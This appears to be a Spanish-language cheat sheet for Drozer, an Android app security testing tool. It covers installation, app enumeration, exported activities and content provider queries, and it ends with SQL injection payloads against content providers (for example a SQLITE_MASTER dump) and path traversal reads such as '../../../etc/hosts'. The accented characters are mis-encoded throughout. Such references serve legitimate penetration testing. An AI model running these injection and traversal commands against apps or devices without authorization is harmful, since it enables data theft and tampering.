Drozer
https://github.com/WithSecureLabs/drozer
Instalaci贸n de Drozer Client
Instalaci贸n de Drozer en entorno virtual de Python 2.
# Creaci贸n y activaci贸n de entorno virtual
mkdir drozer && cd drozer
which python2
virtualenv -p /usr/bin/python2 drozer-env
source drozer-env/bin/activate
# Instalaci贸n de Drozer utilizando Python wheel
pip install drozer-2.4.4-py2-none-any.whl
# Instalaci贸n de dependencias de Drozer (pre-requisitos)
pip install twisted
Instalaci贸n de Drozer Agent (APK)
adb install <drozer-agent>.apk
Comandos generales
Iniciar consola de Drozer.
drozer console connect
drozer console connect --server <device-IP-address>
Obtener listado de aplicaciones instaladas.
run app.package.list
run app.package.list -f <filter>
Obtener informaci贸n general de una aplicaci贸n.
run app.package.info -a <app-package-name>
Leer archivo AndroidManifest.xml de una aplicaci贸n.
run app.package.manifest <app-package-name>
Superficie de ataque de una aplicaci贸n.
run app.package.attacksurface <app-package-name>
Activities
Obtener activities con exportaci贸n habilitada de una aplicaci贸n.
run app.activity.info -a <app-package-name>
Iniciar activity con exportaci贸n habilitada.
run app.activity.start --component <app-package-name> <app-package-name>.<activity-name>
Content providers
Obtener content providers de una aplicaci贸n.
run app.provider.info -a <app-package-name>
Obtener URIs de content providers de una aplicaci贸n.
run app.provider.finduri <app-package-name>
run scanner.provider.finduris -a <app-package-name>
Interacci贸n general con content providers.
# Select
run app.provider.query <uri>
run app.provider.query <uri> --projection <column-name>
run app.provider.query <uri> --selection <column-name>=<column-value>
run app.provider.query <uri> --selection <column-name>=\'<column-value>\'
# Insert
run app.provider.insert <uri> --<column-type> <column-name> <column-value>
run app.provider.insert <uri> --string <column-name> <column-value> --integer <column-name> <column-value>
# Delete
run app.provider.delete <uri>
run app.provider.delete <uri> --selection <column-name>=<column-value>
run app.provider.delete <uri> --selection <column-name>=\'<column-value>\'
# Update
run app.provider.update <uri> --selection <column-name>=<column-value> --<column-type> <column-name> <column-value>
# Lectura de archivo
run app.provider.read <uri>/<file>
# Descarga de archivo
run app.provider.download <uri>/<file> .
SQL injection (SQLi)
Identificaci贸n de SQLi.
run scanner.provider.injection -a <app-package-name>
run app.provider.query <uri> --projection "'"
run app.provider.query <uri> --selection "'"
Enumeraci贸n de tablas.
run scanner.provider.sqltables -a <app-package-name>
run app.provider.query <uri> --projection "* FROM SQLITE_MASTER WHERE type='table';--"
Obtenci贸n de datos de una tabla.
run app.provider.query <uri> --projection "* FROM <table>;--"
Path traversal
Identificaci贸n de path traversal.
run scanner.provider.traversal -a <app-package-name>
Lectura de archivo.
run app.provider.read <uri>/<file>
run app.provider.read <uri>/../../../<file>
run app.provider.read <uri>/../../../etc/hosts
脷ltima actualizaci贸n